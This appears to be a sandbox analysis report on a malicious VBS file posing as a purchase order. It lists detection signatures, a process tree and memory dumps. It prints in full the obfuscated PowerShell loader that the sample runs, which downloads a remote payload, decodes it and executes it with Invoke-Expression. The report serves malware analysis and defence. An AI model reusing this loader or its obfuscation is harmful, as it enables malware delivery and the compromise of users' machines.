Analysis
- max time kernel
149s - max time network
145s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
20/05/2026, 17:31
General
- Target PO00008810.vbs
- Size 33KB
- Sample260520-v3vrxaey7m
- SHA256 2d90bddaa2415e80af1195034e89074cd9bece027adcbcecfd5dc77625673444
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 43 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO00008810.vbs"1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-counter;Get-Service;$anaesthetically='A'+ [char]58;Get-hotfix;$Condecent=(gcm $anaesthetically).CommandType;$Condecent=[String]$Condecent;$Bevidstgrelsens='Miljtekniks';$Condecent+=':';(new-item -p $Condecent -n Nejets -value { param ($Bevellers);$Bevidstgrelsens='Schenklen';$Sejtrkket=4;$Rehouses='fodermester';do {$Forfejles+=$Bevellers[$Sejtrkket];$Sejtrkket+=5} until(!$Bevellers[$Sejtrkket])$Forfejles});(new-item -p $Condecent -n Crescographic -value {param ($Ridderligeres);.($Achievable) ($Ridderligeres)});ConvertTo-Html;$Navnelistes=Nejets ' UnmNReimEchamTJenv.EfteW';$Navnelistes+=Nejets 'WirieGyriBJantcFejel ayfIUnreE Indn Debt';$Undervisningsassistenten=Nejets ' BeeMWitwoP ukzToldiBlanleftelDif aSamm/';$Leipzig=Nejets ' mulTSu elKit,sB ta1Sofi2';$Nauseam='L.va[ lucN LkaESvirTAmat. M lshomeEParrr Mu vTilli Bo CPreseVanhpTiatOExtoI Sp,nR.hntSemimReddaAvoiNdaveA AssG lageBaraRBlod]Dybt:Garg:Cat,SOutsE Ta.CMariU.risr S riDeltt leaYJ kop ,omRUndeOAlt t AcroDomsC SkyO ForlPreq=Sla,$KaleL ultEdunpiCul p EpiZSemiI KogG';$Undervisningsassistenten+=Nejets ' Ker5Wast.Par.0 Lig Opk( ChaWAsteiStofnL.addGummoSl.gwMadnsC rr StaNBeciTUnco Eks1Tetr0limi. Ren0Ac e;Fril SmmeWCnidiPr,vn agt6Eksp4Dupp;Oxyl EneuxSupp6 Blo4Vac,; Un FlamrOvervChry: Kon1Cane3Phen7 Vag.Immo0 iav) Ra Non GAssiePantc IblkCornoFo.s/Ophi2Beky0 Epi1 Xmo0Sko 0Cant1 Stf0 Syl1prop nerFsh oigoder oswepleafNedsoSkatx ors/Siou1P ot3 All7Arre. n g0';$Sequents=Nejets 'DustuDeleSBri,ET rtRBrle-FerbA Ha,GKnole C,lN nnoT';$Afkldes=Nejets 'Funkh ThatWatet,lempRakesBesk:dumm/C.um/Virtf .emuSar,nK smdApog-RakefJiltxBurs.Ko ecCateo ,et/ Fl aSegrxL uriLateoMeronStve/HovehPorco SemmVis,oParalskovo vergWasta Chet T reSing.L ttmO,otdBis p';$Undtagelsestilstandes=Nejets 'Apio>';$Achievable=Nejets 'AfprITrmle.ravx';$svuppets='Fauld';$sirbuske='\Forvekslingernes195.Ant';Crescographic (Nejets 'Salt$BussGDebuL a,noS.arbRecaATariLEmb :DeplB.nkkRAnten AcaeHvssp .fsOEnt RIn.eNGummO HusE TumNKobb= Lar$.angeHe.an GadvOpls:OverA iscpVoldpSalpdUpstAResiTMis A dj+.ylv$Shi.SCharI KnoRFor,BPiceuSesaSDo uk Pale');Crescographic (Nejets 'till$ IntG PalLC.emoGaarBBranAIndul apo: RomtMezzi KvsLMi tLPhylRVurdeConjSU le=Vedb$ M.lA ChaF,estKmindl BorDRiggesemisFa c.RadiS PusPEnchl DecIBes,t Sit( ing$SkriuForsNamindFremtHjemASan gD gpE GenlOpfis R ceGedesStimTAutoIMetal,psuS ontT,onaa BolNCaprd ChaeTrucSA,pi)');Crescographic (Nejets $Nauseam);$Afkldes=$Tillres[0];$Veredict=(Nejets 'Anke$ SkegCh.sl aanO S,abRontaSp.dlDobb:UndeV Styr pgABeslLPo,pT,ticEPaarTKal.=Aeron OpkEFiloW Gev-IntrOKu.ibaneaJ FlaeFa.tc Pr tfemi AbaSgyllYS resexclTBadeESil mTofa..ire$ argNCnemAClavV ThoNSal EYaghLStraiDiamSUng,tmorpedumbs');Crescographic ($Veredict);Crescographic (Nejets 'Knei$Tof.VCohorVasoaTvell Evet.creeStritSola.NgleHEntoeO ila D sdSoune GeurCa,rsOmsk[St.i$ CreS.eaneAmbaqFlesuUnche O dn BrstOpvasund.]Sami=Tri $T igUSalvn SaudBomse rnerCar vquiliUbessOminn Ov,i ,arn Loog marsAcr aSygesUncasSon i DefsEntrtUndeeAromnHistt.pileS opn');$Sejtrkketnane=Nejets 'Am,iDO ploIndkw SelnCorrl GodoVl,iaPictdNa.rFRecoiU rylS die';$Skbnegudinderne=Nejets 'Ho s$Ski,VAnisr Nosa HuslStamtFrimeCajutDkke. Mi $Hoo SCompe atejTredtAnstrRin k,osekWroteSordtVadenIndea Endnnon eSupe.PiscIove nL,ttvD toodisrkcause Rev(Adf $Log AVampf Li,kBoull VerdTalee R nsOuts,Ioni$Sv nA kuen Tr s,jervTr paBleprUntrsEpigfOveruCh flU,brdSylls Zo tArt e D s)';$Ansvarsfuldste=$Brnepornoen;Crescographic (Nejets 'Bars$ ekGundeLZinaOStapBUndiA P,el F.r:Forss halQCausU KonaAn mDsendDK lkeUnsoRLapa= Ele( Gr tSwine VurS,rontSide-S.mppTimeAUnirtEdgihDisc Nedk$Hesta RoanForcsgr.nvGateARec rFa asUnthFFrihuPyjaLSperDAsynSRiftTFooteDe t)');while (!$Squadder) {Crescographic (Nejets 'Re,d$ DatgUnmol linoEjakbdayda ihnl uld: amUbiblnSiz d P ieB.rrrHelts SmikMicouBe,td,erodCespe PrenMicreBr.v=Stat$TrihdPh.ei Ne s In tAnkerHypoiFortb DrouMi wtAgesiDe.to HelnPar e prerDemes') ;Crescographic $Skbnegudinderne;Crescographic (Nejets 'Unpe[StatT FodH elrTyphEScleA Dugd dekiHvidnbuttgFlor.ColuTresiHmotorQuadeKtteaKon,D Fra]Term:Ansv:t,mksOutsLkingeSen.E S rPAvis(Anti4Spri0 Var0Con 0H,ma)');Crescographic (Nejets ' De,$SproGCentL TraOCondbC mmAStilLDemo:Fl gsAnt,QBaduuOp raRgtpdGenedRea EAfbrRGho,=Tins(EncoTFlorEInveSInfoTRe.o- kogP.iamaObseTDoliHPr,g Ud,$Borga Popn.iresUndtV Si a,rekrDispSPo nf udtuBrealBadndEg nsSe,sTRytteecto)') ;Crescographic (Nejets ' Pre$ Hygg OpkLKadaoLy.tbPaasaVagtL Ch :FrelSS.olpMisdIIntesForfeRekorWarnRS ameBuxoTNegr=Late$TriogDv.llAcetONdsubBeloaR,vrL ,in:Rotuk I kVNon.oFjorTStudiMaieE,fvan.ovet S,m+ Unm+Supe% .he$OyesttrapI yseLPreclUnstr .poeSkatsSpec.R.ugCBrugoPracuBu bNSpant') ;$Afkldes=$Tillres[$Spiserret]}$Prestidigitatory=346553;$Gossoon=30096;Crescographic (Nejets 'Pho $u klGoverLIntrOPostbReifALittlUnhe:.yskOChe CAntic pndUFi rPEleva DegN Da.cFru YSurr Vand=Sigi Ru G ewESpl TAgno-Ko.lC AboOStadnDecaTglooEDisqnOtoatA ku lle$Omfoa SemnCommS Serv AveAHjemrSpecSAn xF ReguUdfalDesiDB.maS AddtL anE');Crescographic (Nejets ' Ud $ An g Biel SmioUnelbReneaMelllIss :AppeAPaladSlime TetnStvde hanm Ko.pCongh SkvrGueraH,nnc elt AfbiFlu,cNeur1rein3Cinn2Trag lydr=Ly t Brah[ven S KlfyCa.hsNonctUnoreAvaim ,nc.AbbrCPro oSun nPogovKas,eUnskrTaketBomb]Med,:Trie:AsceFHerbrAbo o ermmReedBIn.iaA spsCobeeSoc 6 .es4Su sSDesitDaglr Ud.iRa tnAfskg Kns( Non$j.ckOwilfcBalkcLighuP elpDairaSp inHydrcdrawyTra )');Crescographic (Nejets ' Roy$Kakog AuhlBi oomandB Ch ATrocL Ins: Azoid,plrUnworMonaIstreTPla ATachmFleteStavNAutotWenceLgenR FranKomfEGasbSCard olk=Buli Budd[ Li SOp rYHjtiSDh cTIndrESpirm Ti .CunjTF.mhEAnthXPhott .cc..eriEMysoNMotocHa poKautdAandI Demn.vingNaph] Swa: Une: obbASinks UdmC eksi Ev,Icolo.GeniG osceCzartBlueSKurstValgrTriliB ttnAmmoGBarb(mone$Fu uA FildNonaeFrihnAr eeFastMBl upCn,dhAn iRBlacA .atCNedtt Alsi rthCT rm1.yrl3 Sem2Semi)');Crescographic (Nejets ' Mon$ ForG RouLLundO esmBTranaBhutL lub:PlunDEspoUUdinMufejMEn,oEVas PBil eMocmtT stEDebyRB ndEForpnSkreSMass= San$NephIF reR alr itri Tret torAFyrrmTomme,ensN,ekuT LateUnspRBeklnMi rERoyssBu s.StreS FruU fulBSalvsDetrtGennr Va IDeo nSupegpelm(Back$I fopPanorPolyE TersEd,atEfteiAlbedHng i KomGK dni renTInimaSkiftBaeroC marOstiySigb,mumu$ fkg Co.oMusisBruts SerolystO RednSton)');Crescographic $Dummepeterens;"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_o0gajpb4.qwd.ps1
memory/2996-17-0x0000029B20670000-0x0000029B2068C000-memory.dmp
memory/2996-19-0x0000029B20560000-0x0000029B2056A000-memory.dmp
memory/2996-7-0x0000029B1D4C0000-0x0000029B1D4E2000-memory.dmp
memory/2996-9-0x0000029B1D4F0000-0x0000029B1D500000-memory.dmp
memory/2996-10-0x00007FF4CB690000-0x00007FF4CB6A0000-memory.dmp
memory/2996-1-0x0000029B1D4F0000-0x0000029B1D500000-memory.dmp
memory/2996-18-0x0000029B20720000-0x0000029B207D3000-memory.dmp
memory/2996-0-0x0000029B1D4F0000-0x0000029B1D500000-memory.dmp
memory/2996-20-0x0000029B1D4F0000-0x0000029B1D500000-memory.dmp
memory/2996-22-0x0000029B1D4F0000-0x0000029B1D500000-memory.dmp
memory/2996-21-0x0000029B1D4F0000-0x0000029B1D500000-memory.dmp
memory/2996-23-0x0000029B1D4F0000-0x0000029B1D500000-memory.dmp
memory/2996-24-0x00007FF4CB690000-0x00007FF4CB6A0000-memory.dmp
memory/2996-25-0x0000029B1D4F0000-0x0000029B1D500000-memory.dmp